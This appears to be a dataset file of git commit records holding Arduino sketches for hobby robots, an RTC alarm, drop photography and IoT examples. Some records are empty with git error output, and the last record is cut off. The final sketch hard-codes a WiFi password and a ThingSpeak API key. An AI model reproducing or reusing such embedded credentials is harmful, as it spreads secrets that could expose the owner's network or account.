sketch","repos":"Gipsonek\/ArduPod","old_file":"arduino\/AP_Utils\/examples\/remote\/remote.ino","new_file":"arduino\/AP_Utils\/examples\/remote\/remote.ino","new_contents":"\/*\n * ArduPod Remote Control sketch\n * \n * This sketch is designed to work together with the ardupodRemote processing app.\n * For details, refer to the ArduPod articles at http:\/\/deviceplus.com\n * \n * Brought into existence and debugged out of it by Gipsonek, 2017\n *\/\n\n#include <AP_Utils.h>\n\nAP_Utils ardupod;\n\n\/\/This array contains servo offsets from center position. See examples\/calibration for details\nint offsets[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n\nvoid setup() {\n \/\/Bluetooth module is connected to Serial1\n Serial1.begin(9600);\n while(!Serial1);\n\n \/\/initiate ardupod\n ardupod.begin(offsets);\n\n \/\/set default leg positions\n leg legs[6] = {{0, true, 0, -0.8}, {1, true, 0, -0.8}, {2, true, 0, -0.8}, {3, true, 0, -0.8}, {4, true, 0, -0.8}, {5, true, 0, -0.8}};\n ardupod.setLegs(legs);\n\n \/\/let the user know everythin is finished\n Serial1.println(\"01Hello sir!\");\n}\n\nString input;\nvoid loop() {\n \/\/if there are data available at the port, read them\n if(Serial1.available() > 0) {\n input = Serial1.readString();\n\n \/\/based on the first character of the incoming string, choose proper action\n switch(input.charAt(0)) {\n \n \/\/ultrasonic scan\n case 'n': { Serial1.println(\"40s\");\n for(int i=0; i<180; i++) {\n Serial1.print(\"40\");\n ardupod.moveServo(15, i);\n Serial1.println((int)ardupod.sr04(TRIG, ECHO, CM));\n }\n ardupod.moveServo(15, 90);\n } break;\n \n \/\/measure distance\n case 'm': { Serial1.print(\"41\");\n Serial1.println((String)(int)ardupod.sr04_median(TRIG, ECHO, CM, 10, 10));\n } break;\n\n \/\/turn ultrasonic sensor\n case 't': { input.remove(0, 1);\n int angle = input.toInt();\n if((angle >= 0) && (angle <= 180)) {\n ardupod.moveServo(15, angle);\n }\n } break;\n\n \/\/step or walk forward\n case 'w': { if(input.charAt(1) == 's') {\n ardupod.step(FORWARD);\n } else {\n \/\/walk\n }\n } break;\n \n \/\/step or walk left\n case 'a': { if(input.charAt(1) == 's') {\n ardupod.step(LEFT);\n } else {\n \/\/walk\n }\n } break;\n\n \/\/step or walk backward\n case 's': { if(input.charAt(1) == 's') {\n ardupod.step(BACKWARD);\n } else {\n \/\/walk\n }\n } break;\n\n \/\/\/\/step or walk right\n case 'd': { if(input.charAt(1) == 's') {\n ardupod.step(RIGHT);\n } else {\n \/\/walk\n }\n } break;\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/AP_Utils\/examples\/remote\/remote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6a4cd111ad2841c24e28d8814fa706f87b86ed8","subject":"provide examaple of advancing alarm time","message":"provide examaple of advancing alarm time\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"examples\/AdvanceAlarm\/AdvanceAlarm.ino","new_file":"examples\/AdvanceAlarm\/AdvanceAlarm.ino","new_contents":"\/*\nAdvanceAlarm.ino\nDavid Sparks Sept 2022\n\nExample of advancing an alarm by an arbitrary interval of time.\n\nHardware setup:\n Connect DS3231 SQW pin to Arduino interrupt pin 2\n\nBuilds upon ArduinoInterrupt.ino example by\nJacob Nuernberg August 2022\n\nExample on using recurring interrupts \nof arbitrary frequency with DS3231 alarms.\n\nHardware setup:\n Connect DS3231 SQW pin to Arduino interrupt pin 2\n\nTested on:\n- Arduino Nano (ATmega328P)\n\n*\/\n\n#include <DS3231.h>\n#include <Wire.h>\n\n\/\/ Interrupt frequency, in seconds\n#define INT_FREQ 3UL \/\/ 3 seconds, characterized as unsigned long\n\n\/\/ myRTC interrupt pin\n#define CLINT 2\n\n\/\/ Setup clock\nDS3231 myRTC;\n\n\/\/ Variables for use in method parameter lists\nbyte alarmDay;\nbyte alarmHour;\nbyte alarmMinute;\nbyte alarmSecond;\nbyte alarmBits;\nbool alarmDayIsDay;\nbool alarmH12;\nbool alarmPM;\n\n\/\/ Interrupt signaling byte\nvolatile byte tick = 1;\n\n\nvoid setup() {\n \/\/ Begin I2C communication\n Wire.begin();\n\n \/\/ Begin Serial communication\n Serial.begin(9600);\n while (!Serial);\n\n \/\/ Set the DS3231 clock mode to 24-hour\n myRTC.setClockMode(false); \/\/ false = not using the alternate, 12-hour mode\n\n \/\/ Set the clock to an arbitrarily chosen time of\n \/\/ 00:00:00 midnight the morning of January 1, 2020\n \/\/ using a suitable Unix-style timestamp\n myRTC.setEpoch(1640995200);\n\n \/\/ Assign parameter values for Alarm 1\n alarmDay = myRTC.getDate();\n alarmHour = myRTC.getHour(alarmH12, alarmPM);\n alarmMinute = myRTC.getMinute();\n alarmSecond = INT_FREQ; \/\/ initialize to the interval length\n alarmBits = 0b00001110; \/\/ Alarm 1 when seconds match\n alarmDayIsDay = false; \/\/ using date of month\n\n \/\/ Upload initial parameters of Alarm 1\n myRTC.turnOffAlarm(1);\n myRTC.setA1Time(\n alarmDay, alarmHour, alarmMinute, alarmSecond,\n alarmBits, alarmDayIsDay, alarmH12, alarmPM);\n \/\/ clear Alarm 1 flag after setting the alarm time\n myRTC.checkIfAlarm(1);\n \/\/ now it is safe to enable interrupt output\n myRTC.turnOnAlarm(1);\n\n \/\/ When using interrupt with only one of the DS3231 alarms, as in this example,\n \/\/ it may be possible to prevent the other alarm entirely,\n \/\/ so it will not covertly block the outgoing interrupt signal.\n\n \/\/ Try to prevent Alarm 2 altogether by assigning a \n \/\/ nonsensical alarm minute value that cannot match the clock time,\n \/\/ and an alarmBits value to activate \"when minutes match\".\n alarmMinute = 0xFF; \/\/ a value that will never match the time\n alarmBits = 0b01100000; \/\/ Alarm 2 when minutes match, i.e., never\n \n \/\/ Upload the parameters to prevent Alarm 2 entirely\n myRTC.setA2Time(\n alarmDay, alarmHour, alarmMinute,\n alarmBits, alarmDayIsDay, alarmH12, alarmPM);\n \/\/ disable Alarm 2 interrupt\n myRTC.turnOffAlarm(2);\n \/\/ clear Alarm 2 flag\n myRTC.checkIfAlarm(2);\n\n \/\/ NOTE: both of the alarm flags must be clear\n \/\/ to enable output of a FALLING interrupt\n\n \/\/ attach clock interrupt\n pinMode(CLINT, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(CLINT), isr_TickTock, FALLING);\n\n \/\/ Configure the LED for blinking\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\nvoid loop() {\n \/\/ static variable to keep track of LED on\/off state\n static byte state = false;\n\n \/\/ Do when alarm interrupt received:\n if (tick) {\n \/\/ right away, capture the current time in a DateTime variable\n \/\/ for later processing\n DateTime alarmDT = RTClib::now();\n\n \/\/ disable Alarm 1 interrupt\n myRTC.turnOffAlarm(1);\n \n \/\/ Clear Alarm 1 flag\n myRTC.checkIfAlarm(1);\n \n tick = 0; \/\/ reset the local interrupt-received flag\n state = ~state; \/\/ reverse the state of the LED\n digitalWrite(LED_BUILTIN, state);\n\n \/\/ optional serial output\n Serial.print(\"Turning LED \");\n Serial.print((state ? \"ON\" : \"OFF\"));\n Serial.print(\" at \");\n Serial.print(alarmDT.hour());\n Serial.print(\":\");\n Serial.print(alarmDT.minute());\n Serial.print(\":\");\n Serial.println(alarmDT.second());\n\n \/\/ extract the DateTime values as a timestamp \n uint32_t nextAlarm = alarmDT.unixtime();\n \/\/ add the INT_FREQ number of seconds\n nextAlarm += INT_FREQ;\n \/\/ update the DateTime with the new timestamp\n alarmDT = DateTime(nextAlarm);\n\n \/\/ upload the new time to Alarm 1\n myRTC.setA1Time(\n alarmDT.day(), alarmDT.hour(), alarmDT.minute(), alarmDT.second(),\n alarmBits, alarmDayIsDay, alarmH12, alarmPM);\n \n \/\/ enable Alarm 1 interrupts\n myRTC.turnOnAlarm(1);\n \/\/ clear Alarm 1 flag again after enabling interrupts\n myRTC.checkIfAlarm(1);\n }\n}\n\nvoid isr_TickTock() {\n \/\/ interrupt signals to loop\n tick = 1;\n return;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AdvanceAlarm\/AdvanceAlarm.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"9e2e65d3f233fd22eaea7c8a4112ea6e3f49cf9d","subject":"home's in on target angle","message":"home's in on target angle","repos":"Robox-Education\/Pika","old_file":"examples\/home.ino","new_file":"examples\/home.ino","new_contents":"#include \"Robox.h\"\n#include <Servo.h>\n\n#include \"Wire.h\"\n#include \"I2Cdev.h\"\n#include \"HMC5883L.h\"\n\n\nHMC5883L mag;\nint16_t mx, my, mz;\n\n\n\n\/\/Here we create a Robox called \"pika\", which has basic moves\n\n\/\/Syntax:\n\/\/Robox ur_bot_name(left_wheel_pin, right_wheel_pin);\n\nRobox pika(9,10);\n\n\nvoid setup()\n{\n \/\/begin I2C Communication\n Wire.begin();\n\n \/\/initialize magnets\n mag.initialize();\n\n \/\/attach servo motors\n pika.attach();\n\n \/\/begin serial interface\n Serial.begin(115200);\n}\n\nvoid loop()\n{\n\n\n \/\/make the robot point north\n\n mag.getHeading(&mx, &my, &mz);\n int heading = (int) (atan2(my, mx) * 180\/M_PI);\n int target = 0;\n \n if ( abs(target-heading) >5 ) {\n pika.home(target,heading);\n delay(10);\n }\n else {\n pika.stop(); \n }\n \n Serial.println(heading);\n\n\n\/*\n pika.forward();\n delay(2000);\n\n Serial.println(\"pika.right();\");\n pika.right();\n delay(2000);\n\n Serial.println(\"pika.left();\");\n pika.left();\n delay(2000);\n\n Serial.println(\"pika.backward();\");\n pika.backward();\n delay(2000);\n\n Serial.println(\"pika.stop();\");\n pika.stop();\n delay(2000);\n*\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/home.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe6d5b9be5958441e860fcd651e1f8483f52e954","subject":"Fixing wrong length of float number in api","message":"Fixing wrong length of float number in api\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver","old_file":"arduino-server\/get_handler.ino","new_file":"arduino-server\/get_handler.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"34f9e7c6aacf93e8c3a93ba56bcc50446c5f6605","subject":"Added some code for ps2 buttons","message":"Added some code for ps2 buttons\n","repos":"PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/MasterModule\/MasterModule.ino","new_file":"Arduino code\/MasterModule\/MasterModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/MasterModule\/MasterModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"51f3f4dfa41d59a7e8c8d14041acfbfdd956d3a3","subject":"DropPhotos","message":"DropPhotos\n\ninitial release\n","repos":"robotfreak\/dfhacks,robotfreak\/dfhacks","old_file":"ch04\/DropPhotos\/DropPhotos.ino","new_file":"ch04\/DropPhotos\/DropPhotos.ino","new_contents":"\/* Digital Fotografie Hacks\n * DropPhotos: \n * Tropfen Fotografie mit dem Foto Shield\n * v0.1, 2014-01-26, Peter Recktenwald \n*\/ \n\/*-----( Import needed libraries )-----*\/\n#include <Wire.h> \/\/ Comes with Arduino IDE\n\/\/ Get the LCD I2C Library here: \n\/\/ https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/downloads\n\/\/ Move any other LCD libraries to another folder or delete them\n\/\/ See Library \"Docs\" folder for possible commands etc.\n#include <LiquidCrystal_I2C.h>\n\/\/ Get the LCD Encoder Library here: \n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_Encoder.html\n#include <Encoder.h>\n#include <SoftwareSerial.h> \/\/ We need this even if we're not using a SoftwareSerial object\n \/\/ Due to the way the Arduino IDE compiles\n\/\/ Get the SerialCommand Library here\n\/\/ https:\/\/github.com\/scogswell\/ArduinoSerialCommand\n#include <SerialCommand.h>\n\n\/*-----( Declare Constants )-----*\/\n#define focusPin 8 \n#define shutterPin 9\n#define launchPin 11\n\n#define encaPin 2\n#define encbPin 3\n\n#define SHUTTER_DELAY 100\n\n#define valvePin 7\n\n#define DROP_LENGTH 20 \n\n#define adcBtnPin A6\n\n#define btnRIGHT 1\n#define btnUP 2\n#define btnDOWN 3\n#define btnLEFT 4\n#define btnSELECT 5\n#define btnSTART 6\n\n#define btnNONE 0\n\n\/\/#define USE_I2C_LCD\n\n\/*-----( Declare objects )-----*\/\n#ifdef USE_I2C_LCD\n\/\/ set the LCD address to 0x27 for a 20 chars 4 line display\n\/\/ Set the pins on the I2C chip used for LCD connections:\n\/\/ addr, en,rw,rs,d4,d5,d6,d7,bl,blpol\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); \/\/ Set the LCD I2C address\n#endif\n\nEncoder myEnc(encaPin, encbPin);\n\nSerialCommand SCmd; \/\/ The demo SerialCommand object\n\n\/*-----( Declare Variables )-----*\/\n\nint oldPosition = -999;\nint newPosition = 0;\n\nint btnVal;\nint oldBtnVal = -1;\nint adcKey;\nint oldAdcKey = -1;\n\nint valveNr = 0;\n\nint valves[3][10];\n\nint menuSelected = false;\n\nvoid processShutterCmd(void); \nvoid processValveCmd(void); \nvoid unrecognized(void);\n\n\/\/ read the buttons\nint readAdcButtons()\n{\n adcKey = analogRead(adcBtnPin); \n\n if ((adcKey < oldAdcKey -5) || (adcKey > oldAdcKey +5)) \n {\n oldAdcKey = adcKey;\n\/\/ Serial.print(\"adc: \");\n\/\/ Serial.println(adcKey, DEC);\n }\n\n if (adcKey > 1000) return btnNONE; \n if (adcKey < 50) return btnRIGHT; \n if (adcKey < 250) return btnUP; \n if (adcKey < 450) return btnDOWN; \n if (adcKey < 580) return btnLEFT; \n if (adcKey < 710) return btnSELECT; \n if (adcKey < 850) return btnSTART; \n\n return btnNONE; \/\/ when all others fail, return this...\n}\n \nvoid setup() {\n \/\/ set up\n pinMode(shutterPin, OUTPUT);\n pinMode(focusPin, OUTPUT);\n pinMode(valvePin, OUTPUT);\n digitalWrite(valvePin, LOW);\n digitalRead(launchPin);\n Serial.begin(57600); \/\/ Used to type in characters\n Serial.println(\"Drop Photos v0.1\");\n Serial.print(newPosition+60, DEC);\n Serial.println(\" ms\");\n\n SCmd.addCommand(\"SD\",processShutterCmd); \/\/ Converts two arguments to integers and echos them back \n SCmd.addCommand(\"VV\",processValveCmd); \/\/ Converts two arguments to integers and echos them back \n SCmd.addDefaultHandler(unrecognized); \/\/ Handler for command that isn't matched (says \"What?\") \n\n#ifdef USE_I2C_LCD\n lcd.begin(20,4); \/\/ initialize the lcd for 20 chars 4 lines, turn on backlight\n \/\/ Print a message to the LCD.\n lcd.print(\"Drop Photos v0.1\");\n lcd.setCursor(0, 1);\n lcd.print(newPosition+60, DEC);\n lcd.print(\" ms\");\n#endif\n valves[0][0]= 1;\n valves[0][1]= 20;\n valves[0][2]= 20;\n valves[0][3]= 20;\n}\n\nvoid processShutterCmd() \n{\n int aNumber; \n char *arg; \n\n Serial.println(\"We're in processShutterCmd\"); \n arg = SCmd.next(); \n if (arg != NULL) \n {\n aNumber=atoi(arg); \/\/ Converts a char string to an integer\n Serial.print(\"Shutter Delay: \"); \n Serial.println(aNumber); \n newPosition = aNumber;\n } \n else {\n Serial.println(\"No arguments\"); \n }\n\n}\n\n\nvoid processValveCmd() \n{\n int aNumber, valveNr, valveIdx; \n char *arg; \n\n Serial.println(\"We're in processValveCmd\"); \n arg = SCmd.next(); \n valveIdx = 4;\n if (arg != NULL) \n {\n aNumber=atoi(arg); \/\/ Converts a char string to an integer\n Serial.print(\"Valve Nr: \"); \n Serial.println(aNumber); \n valveNr = aNumber;\n do {\n arg = SCmd.next();\n if (arg != NULL) \n {\n aNumber=atoi(arg); \/\/ Converts a char string to an integer\n Serial.print(\"Valve\"); \n if (valveIdx & 1)\n Serial.print(\" on: \"); \n else\n Serial.print(\" off: \"); \n Serial.println(aNumber); \n valves[valveNr][valveIdx++] = aNumber;\n } \n } while(arg != NULL);\n valves[valveNr][valveIdx++] = 0; \n } \n else {\n Serial.println(\"No arguments\"); \n }\n \n\n}\n\n\/\/ This gets set as the default handler, and gets called when no other command matches. \nvoid unrecognized()\n{\n Serial.println(\"What?\"); \n}\n\nvoid launchShutter()\n{\n digitalWrite(focusPin, HIGH);\n digitalWrite(shutterPin, HIGH);\n\n delay(SHUTTER_DELAY);\n digitalWrite(shutterPin, LOW);\n digitalWrite(focusPin, LOW);\n}\n\nvoid launchDrop()\n{\n int idx, val;\n \n for(idx=0; idx < 6; idx++)\n {\n val = valves[0][idx];\n if (idx & 1 && val)\n {\n digitalWrite(valvePin, HIGH);\n delay(val);\n digitalWrite(valvePin, LOW);\n }\n else if (val)\n {\n digitalWrite(valvePin, LOW);\n delay(val);\n }\n else\n break;\n }\n \n}\n\nvoid loop() \n{\n SCmd.readSerial(); \/\/ We don't do much, just process serial commands\n \n btnVal = readAdcButtons();\n if (btnVal != oldBtnVal)\n {\n oldBtnVal = btnVal;\n#ifdef USE_I2C_LCD\n lcd.setCursor(0, 2);\n lcd.print(\"Btn: \");\n lcd.print(btnVal, DEC);\n#endif\n Serial.print(\"Btn: \");\n Serial.println(btnVal, DEC);\n } \n\n btnVal = readAdcButtons();\n if (btnVal == btnSELECT)\n {\n Serial.print(\"Menu\");\n while(btnVal != btnNONE)\n {\n btnVal = readAdcButtons();\n }\n menuSelected = (menuSelected) ? false : true;\n if (menuSelected)\n {\n Serial.println(\"activ\");\n#ifdef USE_I2C_LCD\n lcd.setCursor(0, 3);\n lcd.print(\"Menu \");\n#endif\n }\n else\n {\n Serial.println(\"inactiv\");\n#ifdef USE_I2C_LCD\n lcd.setCursor(0, 3);\n lcd.print(\"Launch \");\n#endif\n } \n }\n \n if (menuSelected == true)\n {\n newPosition = myEnc.read();\n if (newPosition != oldPosition) {\n oldPosition = newPosition;\n#ifdef USE_I2C_LCD\n lcd.setCursor(0, 1);\n lcd.print(newPosition+60, DEC);\n lcd.print(\" ms \");\n#endif\n Serial.print(newPosition+60);\n Serial.println(\" ms\");\n }\n }\n\n btnVal = readAdcButtons();\n if (menuSelected == false)\n {\n if (btnVal == btnSTART)\n {\n Serial.println(\"launch pressed\");\n while(btnVal != btnNONE)\n {\n btnVal = readAdcButtons();\n }\n launchDrop();\n delay(newPosition);\n launchShutter();\n#ifdef USE_I2C_LCD\n lcd.setCursor(0, 3);\n lcd.print(\"launched\");\n#endif\n Serial.println(\"launched\");\n delay(1000);\n }\n }\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ch04\/DropPhotos\/DropPhotos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"343dac47a4a08e4790bfed6bc7d80d3b72938c84","subject":"Added Arduino code","message":"Added Arduino code\n","repos":"osamadel\/ROV-Hydra","old_file":"workspace\/serial.ino\/serial.ino.ino","new_file":"workspace\/serial.ino\/serial.ino.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (Serial.available() > 0)\n {\n char c = Serial.read();\n if (c == '*')\n {\n String message = Serial.readStringUntil('$');\n Serial.println(message);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'workspace\/serial.ino\/serial.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"821468afd410093d5ca34cfc0ca767c21ccf5f6f","subject":"Added sketch file","message":"Added sketch file\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4b3ebe8dfddf72717fc2e00cdafeb0566c6575b6","subject":"First version of Arduino code to handle cmd_vel Twists.","message":"First version of Arduino code to handle cmd_vel Twists.\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/MegaPi_ROS_CmdVel\/MegaPi_ROS_CmdVel.ino","new_file":"arduino\/MegaPi_ROS_CmdVel\/MegaPi_ROS_CmdVel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f9d2da5c407ffe475241501ccc288962661b6fa2","subject":"Update ValuePush.ino","message":"Update ValuePush.ino\n\nAdded link to SimpleTimer library","repos":"radut\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,flashvnn\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,al1271\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,okhiroyuki\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,johan--\/blynk-library,johan--\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,csicar\/blynk-library,johan--\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,al1271\/blynk-library,ivankravets\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,johan--\/blynk-library,CedricFinance\/blynk-library","old_file":"examples\/GettingStarted\/ValuePush\/ValuePush.ino","new_file":"examples\/GettingStarted\/ValuePush\/ValuePush.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how a value is periodically pushed\n * from Arduino to the phone App.\n *\n * For this example you need to have SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n * Visit this page for more information:\n * http:\/\/playground.arduino.cc\/Code\/SimpleTimer\n *\n * App dashboard setup:\n * Value Display widget on V5\n *\n **************************************************************\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h> \/\/Download Simple Timer library here: https:\/\/github.com\/jfturcot\/SimpleTimer\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\n\nvoid setup()\n{\n Blynk.begin(auth);\n\n \/\/ Setup function to be called each 1000 milliseconds\n timer.setInterval(1000, sendUptime);\n}\n\n\/\/ A function that sends how many seconds Arduino is running\nvoid sendUptime()\n{\n \/\/ You can send any value at any time.\n \/\/ Please don't send more that 10 values per second!\n Blynk.virtualWrite(5, millis()\/1000);\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how a value is periodically pushed\n * from Arduino to the phone App.\n *\n * For this example you need to have SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n * Visit this page for more information:\n * http:\/\/playground.arduino.cc\/Code\/SimpleTimer\n *\n * App dashboard setup:\n * Value Display widget on V5\n *\n **************************************************************\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\n\nvoid setup()\n{\n Blynk.begin(auth);\n\n \/\/ Setup function to be called each 1000 milliseconds\n timer.setInterval(1000, sendUptime);\n}\n\n\/\/ A function that sends how many seconds Arduino is running\nvoid sendUptime()\n{\n \/\/ You can send any value at any time.\n \/\/ Please don't send more that 10 values per second!\n Blynk.virtualWrite(5, millis()\/1000);\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"268b5e7c0413a6c80bb890f0087dd3ebae017440","subject":"moved#1: Old implementation","message":"moved#1: Old implementation","repos":"akhilesh-k\/Intelligent-Alarm,akhilesh-k\/Intelligent-Alarm,akhilesh-k\/Intelligent-Alarm","old_file":"Arduino\/Alarm-TI Project.ino","new_file":"Arduino\/Alarm-TI Project.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Alarm-TI' did not match any file(s) known to git\nerror: pathspec 'Project.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd6f17acf15cbdd31e24ee75587aa62f6fc32017","subject":"Add chap11 example","message":"Add chap11 example\n","repos":"godstale\/How-to-make-talking-things","old_file":"chap11\/secure_tweet\/secure_tweet.ino","new_file":"chap11\/secure_tweet\/secure_tweet.ino","new_contents":"\/*************************************************** \n This is an example for the Adafruit CC3000 Wifi Breakout & Shield\n\n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried & Kevin Townsend for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n \n \/*\nThis example does a test of the TCP client capability:\n * Initialization\n * Optional: SSID scan\n * AP connection\n * DHCP printout\n * DNS lookup\n * Optional: Ping\n * Connect to website and print out webpage contents\n * Disconnect\nSmartConfig is still beta and kind of works but is not fully vetted!\nIt might not work on all networks!\n*\/\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"FRESHTOMATO 2.4GHz\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"qawsedrf\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define IDLE_TIMEOUT_MS 3000 \/\/ Amount of time to wait (in milliseconds) with no data \n \/\/ received before closing the connection. If you know the server\n \/\/ you're accessing is quick to respond, you can reduce this value.\n\n\/\/ What page to grab!\n#define WEBSITE \"api.thingspeak.com\"\n\n\/\/ ThingTweet configurations\nString thingtweetAPIKey = \"KRF7DKVF4D00URIO\";\n\n\/\/ PIR motion sensor\nint LedPin = 8;\nint PirPin = 7; \/\/ PIR sensor's out signal\nint PirState = LOW; \/\/ assuming no motion detected\nint MotionCount = 0;\nunsigned long LastSendingTime = 0;\n#define SENDING_INTERVAL 60000\n\n\/**************************************************************************\n @brief Sets up the HW and the CC3000 module (called automatically on startup)\n**************************************************************************\/\nuint32_t ip;\n\nvoid setup(void) {\n pinMode(LedPin, OUTPUT);\n pinMode(PirPin, INPUT); \/\/ declare sensor as input\n \n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\")); \n\n Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin()) {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n \/\/ Optional SSID scan\n \/\/ listSSIDResults();\n \n 